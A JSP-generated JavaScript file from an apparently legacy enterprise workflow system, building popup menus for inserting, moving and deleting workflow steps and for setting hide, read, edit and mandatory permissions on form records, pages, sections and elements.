<%@ page contentType="application/x-javascript;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>


<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
// Change the row color of the context menu for document operation.
function changeRowColor(trObj, mode) {
  var overColor = "#B5D2EA";
  var downColor = "#FFCC99";
  var outColor = "#EEEEEE";
  var domDetect = false;

  if (typeof(window.opera) == 'undefined' && typeof(trObj.getAttribute) != 'undefined') {
    domDetect = true;
  }
  if (mode == 1) {
    if (domDetect) {
      trObj.setAttribute('bgcolor', overColor, 0);
    } else {
      trObj.style.backgroundColor = overColor;
    }
  } else if (mode == 2) {
    var tmpColor = outColor;

    if (domDetect) {
      trObj.setAttribute('bgcolor', tmpColor, 0);
    } else {
      trObj.style.backgroundColor = tmpColor;
    }
  } else if (mode == 3) {
    if (domDetect) {
      trObj.setAttribute('bgcolor', downColor, 0);
    } else {
      trObj.style.backgroundColor = downColor;
    }
  }
}

function operateStep(parameter, isHaveMultSubStep){
  var result = "";
  result = getOperationMenu(parameter, isHaveMultSubStep);
  return overlib(result,FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);
}



// Return the HTML show in the operation menu.
function getOperationMenu(parameter, isHaveMultSubStep) {
  // Javascript operation for each action type.
  var opInsertLookBack = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?insertStepType=R&" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 725, \"scrollbars=no\");";
  var opInsertNew = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 725, \"scrollbars=no\");";
  var opInsertBetween = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?operationType=<%=WorkflowStep.OPERATION_TYPE_INSERT_BETWEEN%>&" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 650, \"scrollbars=no\");";
  var opMoveSingle = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?operationType=<%=WorkflowStep.OPERATION_TYPE_MOVE_SINGLE_STEP%>&SHOW_HEADER_FOOTER=N&" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 650, \"scrollbars=no\");";
  var opMoveAllStep = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?operationType=<%=WorkflowStep.OPERATION_TYPE_MOVE_ALL_STEP_AFTER%>&SHOW_HEADER_FOOTER=N&" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 650, \"scrollbars=no\");";
  var opDeleteSingleWhileDecision = "return OpenCenteredPopup(\"<%=request.getContextPath()%>/workflow/MaintWorkflowStep.do?operationType=<%=WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP%>&SHOW_HEADER_FOOTER=N&" + parameter+"\", \"DCIVisionWorkflowStepWin\", 900, 650, \"scrollbars=no\");";
  var opDeleteSingle = "deleteSingleStep( \"<%=request.getContextPath()%>/workflow/MaintWorkflowRecord.do?operationType=<%=WorkflowStep.OPERATION_TYPE_DELETE_SINGLE_STEP%>&navMode=E&" + parameter + "\")";
  var opDeleteAllStep = "deleteAllStep( \"<%=request.getContextPath()%>/workflow/MaintWorkflowRecord.do?operationType=<%=WorkflowStep.OPERATION_TYPE_DELETE_ALL_STEP%>&navMode=E&" + parameter + "\")";

  //Get the current step action type
  var currentStepActionType = "";
  var currentIsLoopBack = "";
  var tmpArr;
  var loopBackOnEndStep = "";
  
  tmpArr = parameter.split("&");
    //sliever.hu.add
  var parentStepActionType;
  parentStepActionType=tmpArr[0].substring(tmpArr[0].indexOf("=")+1,tmpArr[0].length);


  for(var i=0; i<tmpArr.length; i++){
    if(tmpArr[i].indexOf("currentStepActionType=")>-1){
      currentStepActionType = tmpArr[i].substr(tmpArr[i].indexOf("=")+1,tmpArr[i].length);
      break;
    }
  }
  for(var i=0; i<tmpArr.length; i++){
    if(tmpArr[i].indexOf("loopBack=")>-1){
      currentIsLoopBack = tmpArr[i].substr(tmpArr[i].indexOf("=")+1,tmpArr[i].length);
      break;
    }
  }
  for(var i=0; i<tmpArr.length; i++){
    if(tmpArr[i].indexOf("loopBackOnEndStep=")>-1){
      loopBackOnEndStep = tmpArr[i].substr(tmpArr[i].indexOf("=")+1,tmpArr[i].length);
      break;
    }
  }

  // Header Section.
  var tableWidth = 140;
  var result = "";
  result += '<table width=\'' + tableWidth + '\' cellspacing=\'0\' cellpadding=\'1\' style=\'border-style:outset;border-width:2;background-color:#EEEEEE;\'>';
  result += '  <tr bgcolor=\'#1C4DA6\'>';
  result += '    <td align=\'left\' valign=\'middle\' height=\'18\'>';
  result += '    <nobr>&nbsp;<b><font color=\'#FFFFFF\'> <bean:message key='workflow.label.operation'/> </font></b>&nbsp;</nobr>';
  result += '    </td>';
  result += '    <td align=\'right\' valign=\'middle\' height=\'18\'>';
  result += '    <a href=\'javascript:void(0)\' onclick=\'cClick()\'><img src=\'<html:img src="IconLayerCloseButton.gif"  pathOnly="true"/>\' border=\'0\'></a>';
  result += '    </td>';
  result += '  </tr>';
  result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'><img src=\'<html:img src="LayoutSpacer.gif"  pathOnly="true"/>\' height=\'1\' border=\'0\'></td></tr>';

  if ( currentStepActionType != 'null' ) {
    // Add between step (Enable add between step in all case)
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opInsertBetween+'\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconInsertNewStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.insert_step_between'/></a><br>';
    result += '  </td></tr>';
    if( currentStepActionType != "<%=WorkflowStep.ACTION_TYPE_END%>" ){
      // Add parallel step (Enable add parallel step only if it's not connected to end step)
      result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opInsertNew+'\'><td colspan=\'2\'>';
      result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconInsertNewStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.insert_new_step'/></a><br>';
      result += '  </td></tr>';

      // Enable move/delete step option only if not connected to end step / loop back step
      if(currentIsLoopBack != "<%=GlobalConstant.TRUE%>"){
        result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'><img src=\'<html:img src="LayoutSpacer.gif"  pathOnly="true"/>\' height=\'1\' border=\'0\'></td></tr>';

        // Move Single Step
        result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opMoveSingle+'\'><td colspan=\'2\'>';
        result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconMoveSingleStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.move_single_step'/></a><br>';
        result += '  </td></tr>';

        // Move All Steps After
        /*
        result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opMoveAllStep+'\'><td colspan=\'2\'>';
        result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconMoveAllStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.move_all_step_after'/></a><br>';
        result += '  </td></tr>';
        */

        result += '  <tr bgcolor=\'#CCCCCC\'><td colspan=\'2\'><img src=\'<html:img src="LayoutSpacer.gif"  pathOnly="true"/>\' height=\'1\' border=\'0\'></td></tr>';

        // Delete Single Step
        if(("<%=WorkflowStep.ACTION_TYPE_APPROVAL%>" == currentStepActionType || "<%=WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK%>" == currentStepActionType || "<%=WorkflowStep.ACTION_TYPE_BOOLEAN%>" == currentStepActionType) && "Y" == isHaveMultSubStep){
          result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opDeleteSingleWhileDecision+'\'><td colspan=\'2\'>';
          result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconDeleteSingleStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.delete_single_step'/></a><br>';
          result += '  </td></tr>';
        }else{
          result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opDeleteSingle+'\'><td colspan=\'2\'>';
          result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconDeleteSingleStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.delete_single_step'/></a><br>';
          result += '  </td></tr>';
        }

        // Delete All Steps After
        result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opDeleteAllStep+'\'><td colspan=\'2\'>';
        result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconDeleteAllStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.delete_all_step_after'/></a><br>';
        result += '  </td></tr>';
      }
    }
    else if (loopBackOnEndStep == "<%=GlobalConstant.TRUE%>") {
      result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\''+opInsertLookBack+'\'><td colspan=\'2\'>';
      result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'<html:img src="IconInsertNewStep.gif"  pathOnly="true"/>\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='workflow.label.insert_new_step'/></a><br>';
      result += '  </td></tr>';
    }
  }
  result += '</table>';
  return(result);
}

function deleteSingleStep(parameter){
  if(confirm("<bean:message key='workflow.label.delete_single_step_confirm'/>")){
    return window.location.href = parameter;
  }
  return "";
}

function deleteAllStep(parameter){
  if(confirm("<bean:message key='workflow.label.delete_all_step_confirm'/>")){
    return window.location.href = parameter;

  }
  return "";
}

//===========================
var elementName;
function setPermission(hasManadatory, sElementName ){
  var result = "";
  var haveMenu = true;
 
  this.elementName = sElementName
  if("E"==this.elementName.substring(0,1)){
     haveMenu = false;
  }
  if(!haveMenu){
    return false;
  }
  
  result = getPermissionMenu(hasManadatory);
  
  var curoObjectID = document.getElementById(this.elementName + '-aft');
  var button = document.getElementById(curoObjectID.value+"SetChildButton");
  if(button&&button.className=="but-colheader-disabled"){
   //disabled button,do nothing...
  }else{
    return showPermissionMenu(result);
  }
}
function showPermissionMenu(result){
  var curoObjectID = document.getElementById(this.elementName + '-aft');
  var button = document.getElementById(curoObjectID.value+"SetChildButton");
  var ul = button.getElementsByTagName("UL")[0];
  if(ul.id=="buttonSubMenu"){
    closePermissionMenu(ul);
    return false;
  }
  
  closePermissionMenu(ul);
  button.style.zIndex=11;
  ul.innerHTML = result;
  ul.id="buttonSubMenu";
  ul.style.display="block";
  if (GlobalVariable.ie && !GlobalVariable.ie7){
    result+="<iframe style=\"position:absolute;top:0px;right:0px;z-index:1000;width:"+ul.clientWidth+"px;height:"+ul.clientHeight+"px;\"></iframe>";
  } 
  ul.innerHTML = result;
}

function closePermissionMenu(ele){
  var ul = null;
  if(ele&&ele.id=="buttonSubMenu"){
    ul=ele;
  }else{
    ul=document.getElementById("buttonSubMenu");
  }
  if(ul){
    ul.id="";
    ul.style.display="none";
    var button = ul.parentNode;
    if(button){
      button.style.zIndex=10;
    }
  }
}

function getPermissionSelectBox(sElementName,permission){
  var result = "";
  //result +="<select id=\""+sElementName+"PermissionSelectBox\" class=\"form-style-2-short-pulldown\" style=\"width:120px;\" onchange=\"getSelectBoxPermission(\'"+sElementName+"\',this.options[selectedIndex].value)\">";
  if ("P" == sElementName.substring(0,1)) {
    result +="<option value=\"1\" "+initSelectBoxPermission(permission,'R')+"><bean:message key='common.permission.label_Show_Page'/></option>";
    result +="<option value=\"4\" "+initSelectBoxPermission(permission,'H')+"><bean:message key='common.permission.label_Hide_Page'/></option>";
  }else if ("S" == sElementName.substring(0,1)){
    result +="<option value=\"1\" "+initSelectBoxPermission(permission,'R')+"><bean:message key='common.permission.label_Show_Section'/></option>";
    result +="<option value=\"4\" "+initSelectBoxPermission(permission,'H')+"><bean:message key='common.permission.label_Hide_Section'/></option>";
  }if ("E" == sElementName.substring(0,1)){
    result +="<option value=\"4\" "+initSelectBoxPermission(permission,'H')+"><bean:message key='calendar.label.hide'/></option>";
    result +="<option value=\"1\" "+initSelectBoxPermission(permission,'R')+"><bean:message key='common.permission.label_R_O'/></option>";
    result +="<option value=\"2\" "+initSelectBoxPermission(permission,'C')+"><bean:message key='common.permission.label_E_B'/></option>";
    result +="<option value=\"3\" "+initSelectBoxPermission(permission,'M')+"><bean:message key='common.permission.label_E_M'/></option>";
  }
  //result +="</select>"
  return result;
}

function initSelectBoxPermission(permission,optionValue){
  if(permission==optionValue){
    return (" selected");
  }else{
    return " ";
  }
}

function setSelectBoxPermission(selectBox,permission1){
  if(selectBox){
    var length=selectBox.options.length;
    for(var j=0;j<length;j++){
      if(selectBox.options[j].value==permission1){
        selectBox.selectedIndex=j;
        break;
      }
    }
  }
  return false;
}

function getSelectBoxPermission(sElementName,permission){
  this.elementName = sElementName;
  togglePermissionRadioBox(permission);
  closePermissionMenu();
  dimmedAllChildWithNode(permission,null);
}


function getPermissionMenu(hasManadatory) {

  var toggleRead = false;
  var toggleChange = false;
  var toggleMandatory = false;
  var toggleHide = false;
  var toggleShow = false;
  
  var toggleSetAllChildRead = false;
  var toggleSetAllChildChange = false;
  var toggleSetAllChildMandatory = false;
  var toggleSetAllChildHide = false;
  
  var curReadIconName = "";
  var curChangeIconName = "";
  var curMandatoryIconName = "";
  var curResetIconName = "";


  var curHideIconName = "";

  var tableWidth = 200;
  
  if ("F" == this.elementName.substring(0,1)) {
    curReadIconName = '<html:img src='IconFormRecordRead.gif'  align='absmiddle' pathOnly="true"/>';
    curChangeIconName = '<html:img src='IconFormRecordChange.gif'  align='absmiddle' pathOnly="true"/>';
    curMandatoryIconName = '<html:img src='IconFormRecordMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    curHideIconName = '<html:img src='IconFormRecord.gif'  align='absmiddle' pathOnly="true"/>';
    toggleSetAllChildRead = true;
    //toggleSetAllChildChange = true;
    //toggleSetAllChildMandatory = true;
    toggleSetAllChildHide = true;
    
   } else if ("P" == this.elementName.substring(0,1)) {
    curReadIconName = '<html:img src='IconFormPageRead.gif'  align='absmiddle' pathOnly="true"/>';
    curChangeIconName = '<html:img src='IconFormPageChange.gif'  align='absmiddle' pathOnly="true"/>';
    curMandatoryIconName = '<html:img src='IconFormPageMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    curHideIconName = '<html:img src='IconFormPage.gif'  align='absmiddle' pathOnly="true"/>';
    curResetIconName = '<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
    
    toggleSetAllChildRead = true;
    //toggleSetAllChildChange = true;
    //toggleSetAllChildMandatory = true;
    toggleSetAllChildHide = true;
   } else if ("S" == this.elementName.substring(0,1)) {
    curReadIconName = '<html:img src='IconFormSectionRead.gif'  align='absmiddle' pathOnly="true"/>';
    curChangeIconName = '<html:img src='IconFormSectionChange.gif'  align='absmiddle' pathOnly="true"/>';
    curMandatoryIconName = '<html:img src='IconFormSectionMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    curHideIconName = '<html:img src='IconFormSection.gif'  align='absmiddle' pathOnly="true"/>';
    curResetIconName = '<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
    
    toggleSetAllChildRead = true;
    toggleSetAllChildChange = true;
    toggleSetAllChildMandatory = true;
    toggleSetAllChildHide = true;
     
   } else if ("E" == this.elementName.substring(0,1)) {
    curReadIconName = '<html:img src='IconFormElementsRead.gif'  align='absmiddle' pathOnly="true"/>';
    curChangeIconName = '<html:img src='IconFormElementsChange.gif'  align='absmiddle' pathOnly="true"/>';
    curMandatoryIconName = '<html:img src='IconFormElementsMandatory.gif'  align='absmiddle' pathOnly="true"/>';
    curHideIconName = '<html:img src='IconFormElements.gif'  align='absmiddle' pathOnly="true"/>';
    curResetIconName = '<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
    
    toggleRead = true;
    toggleHide = true;
    toggleChange = true;
    toggleMandatory = true;
 
   }


  
  var result = "";
  var iframeHeight=0;
  result += '<div class=\"NewObjectMenuLayer\" style=\"visibility:visible;z-index:1001;position:relative;top:0px;right:0px;width:170px;\"><ul>';

  // Hide
  if(toggleHide){
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'togglePermissionRadioBox(4)\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'' + curHideIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='calendar.label.hide'/></a>';
    result += '  </td></tr>';
    iframeHeight+=25;
  }
  // Read
  if(toggleRead){
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'togglePermissionRadioBox(1)\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'' + curReadIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_R'/></a>';
    result += '  </td></tr>';
    iframeHeight+=25;
  }
  // Show
  if(toggleShow){
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'togglePermissionRadioBox(1)\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'' + curReadIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_SH'/></a>';
    result += '  </td></tr>';
    iframeHeight+=25;
  }
  
  // Change
  if(toggleChange){
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'togglePermissionRadioBox(2)\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'' + curChangeIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_E'/></a>';
    result += '  </td></tr>';
    iframeHeight+=25;
  }
  if(hasManadatory&&toggleMandatory){
    // Mandatory
    result += '  <tr onmouseover=\'changeRowColor(this, 1)\' onmouseout=\'changeRowColor(this, 2)\' onclick=\'togglePermissionRadioBox(3)\'><td colspan=\'2\'>';
    result += '  <a href="" onclick="return(false);" style="text-decoration:none;"><img src=\'' + curMandatoryIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.label.mandatory'/></a>';
    result += '  </td></tr>';
    iframeHeight+=25;
  }

 
  //set all child element to hide
  if(toggleSetAllChildHide){
    result += '<li>';
    result += '  <a href="#" onclick=\'toggleAllChildPermission(4)\' style="text-decoration:none;"><img src=\'' + curHideIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='calendar.label.hide'/></a>';
    result += '</li>';
    iframeHeight+=25;
  }
  //set all child element to read
 if(toggleSetAllChildRead){   
    result += '<li>';
    result += '  <a href="#" onclick=\'toggleAllChildPermission(1)\' style="text-decoration:none;"><img src=\'' + curReadIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_R_O'/></a>';
    result += '</li>';  
    iframeHeight+=25;
  }
 
 // set all chile element to Change
  if(toggleSetAllChildChange){
    result += '<li>';
    result += '  <a href="#" onclick=\'toggleAllChildPermission(2)\' style="text-decoration:none;"><img src=\'' + curChangeIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_E_B'/></a>';
    result += '</li>';
    iframeHeight+=25;
  }
 // set all chile element to Mandatory
  if(hasManadatory&&toggleSetAllChildMandatory){
    result += '<li>';
    result += '  <a href="#" onclick=\'toggleAllChildPermission(3)\' style="text-decoration:none;"><img src=\'' + curMandatoryIconName + '\' align=\'absmiddle\' border=\'0\'>&nbsp;<bean:message key='common.permission.label_E_M'/></a>';
    result += '</li>'; 
    iframeHeight+=25;
  } 

  //result += '</table>';
  result += '</ul></div>';
  return(result);
}

function togglePermissionRadioBox(permissionItem){
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  var statusClass='';
  var permission = '';
  var curoObjectID = document.getElementById(this.elementName + '-aft');
  var curObjectKey = curoObjectID.value + '-icon';

   //alert(this.elementName);
  if(1 == permissionItem){
    if ("F" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormRecordRead.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
   } else if ("P" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormPageRead.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("S" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormSectionRead.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("E" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='LayoutSpacer.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    }
   frm.elements[this.elementName].value = "R";
   //document.getElementById(this.elementName).value="R"
   if("E" == this.elementName.substring(0,1)){
     permission = '[<bean:message key='common.permission.label_R'/>]';
    }else{
     permission = '[<bean:message key='common.permission.label_SH'/>]';
    }
    statusClass='read';
  } else if (2 == permissionItem){
   if ("F" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormRecordChange.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
   } else if ("P" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormPageChange.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("S" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormSectionChange.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("E" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconEdit.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    }
    frm.elements[this.elementName].value = "C";
    //document.getElementById(this.elementName).value="C"
    permission = '[<bean:message key='common.permission.label_E'/>]';
    statusClass='edit';
  } else if (3 == permissionItem){
    if ("F" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormRecordMandatory.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
   } else if ("P" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormPageMandatory.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("S" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormSectionMandatory.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("E" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconEdit.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    }
    frm.elements[this.elementName].value = "M";
    //document.getElementById(this.elementName).value="E"
    permission = '[<bean:message key='common.label.mandatory'/>]';
    statusClass='mandatory';

  } else if (4 == permissionItem){
   if ("F" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormRecord.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
   } else if ("P" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormPage.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("S" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='IconFormSection.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    } else if ("E" == this.elementName.substring(0,1)) {
      var curIconSrc='<html:img src='LayoutSpacer.gif'  align='absmiddle' pathOnly="true"/>';
      document.getElementById(curObjectKey).src = curIconSrc;
    }
    frm.elements[this.elementName].value = "H";
    //document.getElementById(this.elementName).value=""
    permission = '[<bean:message key='calendar.label.hide'/>]';
    statusClass='hide';
  } else if (5 == permissionItem){
      if ("F" == this.elementName.substring(0,1)) {
       var curIconSrc='<html:img src='IconFormRecordChange.gif'  align='absmiddle' pathOnly="true"/>';
       document.getElementById(curObjectKey).src = curIconSrc;
       frm.elements[this.elementName].value = "C";
       permission = '[<bean:message key='common.permission.label_E'/>]';
      } 
     else {
       if ("P" == this.elementName.substring(0,1)) {
         var curIconSrc='<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
         document.getElementById(curObjectKey).src = curIconSrc;
     } else if ("S" == this.elementName.substring(0,1)) {
         var curIconSrc='<html:img src='IconFormElementsInherit.gif'  align='absmiddle' pathOnly="true"/>';
         document.getElementById(curObjectKey).src = curIconSrc;
     } else if ("E" == this.elementName.substring(0,1)) {
        var curIconSrc='<html:img src='LayoutSpacer.gif'  align='absmiddle' pathOnly="true"/>';
        document.getElementById(curObjectKey).src = curIconSrc;
     }
    frm.elements[this.elementName].value ="I";
    permission = '[<bean:message key='common.permission.label_U'/>]';
   }
  }
  frm.elements[curoObjectID.value + 'Permission'].value = permission;
  document.getElementById(curoObjectID.value + '-anchor').className = statusClass;
  //document.getElementById(curoObjectID.value + 'Permission').value = permission;
  setSelectBoxPermission(frm.elements[curoObjectID.value + 'PermissionSelectBox'],permissionItem);
  //nd();
  //nd();
}

 function toggleRadioBox(permissionItem){
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if("F" == this.elementName.substring(0,1)){
    var fid= this.elementName.substring(1,this.elementName.length);
    for(var tt=0;tt < formArr.length;tt++){
      var formStrArr=formArr[tt].split("_");
      var formIdStr=formStrArr[0];
      var formId=formIdStr.substring(1,formIdStr.length);
      var formChange=formStrArr[1];
      if(formId==fid){
         if(frm.elements[this.elementName].value=="H" || formChange=="Y" || (this.elementName.substring(0,1)=='F' && formChange=='N' )){
          if(this.elementName.substring(0,1)=='F' && formChange=='N' && 4 == permissionItem){
             alert("<bean:message key='form.message.parent_node_can_not_hide'/>");
             return false;
          }else{
             togglePermissionRadioBox(permissionItem);
             formArr[tt]=formIdStr+"_N";
            }
          }
        }
      }

    for(var j=0 ;j < pageArr.length;j++){
            var pageStr=pageArr[j];
            var strArr=pageStr.split("_");
            var str=strArr[0];
            var pid=strArr[1];
            var isChange=strArr[2];
            var pagefid= str.substring(1,str.length);
        if(pagefid==fid){
          this.elementName=str+"_"+pid;
          if(frm.elements[this.elementName].value=="H" || isChange=="Y" ){
            togglePermissionRadioBox(permissionItem);
            pageArr[j]=str+"_"+pid+"_N";
          }
        }
      for(var m=0;m < secArr.length;m++){
        var secStr=secArr[m];
        var strArr=secStr.split("_");
        var strF=strArr[0];
        var secfid= strF.substring(1,strF.length);
        var secPid=strArr[1];
        var secid=strArr[2];
        var isSecchange=strArr[3];
        if(secfid==fid && secPid==pid){
          this.elementName=strF+"_"+secPid+"_"+secid;
          if(frm.elements[this.elementName].value=="H" || isSecchange=="Y"){
            togglePermissionRadioBox(permissionItem);
            secArr[m]=strF+"_"+secPid+"_"+secid+"_N";
          }
        }
        for(var n=0;n < elementArr.length;n++){
          var eleStr=elementArr[n];
          var eleArr=eleStr.split("_");
          var eleF=eleArr[0];
          var elefid= eleF.substring(1,eleF.length);
          var elePid=eleArr[1];
          var elesid=eleArr[2];
          var eleid=eleArr[3];
          var iselechange=eleArr[4];
          if(elefid==fid && elePid==pid && elesid==secid){
            this.elementName=eleF+"_"+elePid+"_"+elesid+"_"+eleid;
            if(frm.elements[this.elementName].value=="H" || iselechange=="Y"){
              togglePermissionRadioBox(permissionItem);
              elementArr[n]=eleF+"_"+elePid+"_"+elesid+"_"+eleid+"_N";
            }
          }
        }
      }
     }

  }
  else  if("P" == this.elementName.substring(0,1)){
       var pStr= this.elementName.substring(1,this.elementName.length);
       var pidStr= pStr.split("_");
       var fid=pidStr[0];
       var currentpid=pidStr[1];
       for(var j=0 ;j < pageArr.length;j++){
            var pageStr=pageArr[j];
            var strArr=pageStr.split("_");
            var str=strArr[0];
            var pid=strArr[1];
            var isChange=strArr[2];
            var pagefid= str.substring(1,str.length);
        if(pagefid==fid && pid==currentpid){
          this.elementName=str+"_"+pid;
          if(frm.elements[this.elementName].value=="H" || isChange=="Y" || (this.elementName.substring(0,1)=="P" && isChange=="N")){
            if(this.elementName.substring(0,1)=="P" && isChange=="N" && 4 == permissionItem){
                alert("<bean:message key='form.message.parent_node_can_not_hide'/>");
                return false;
            }else{
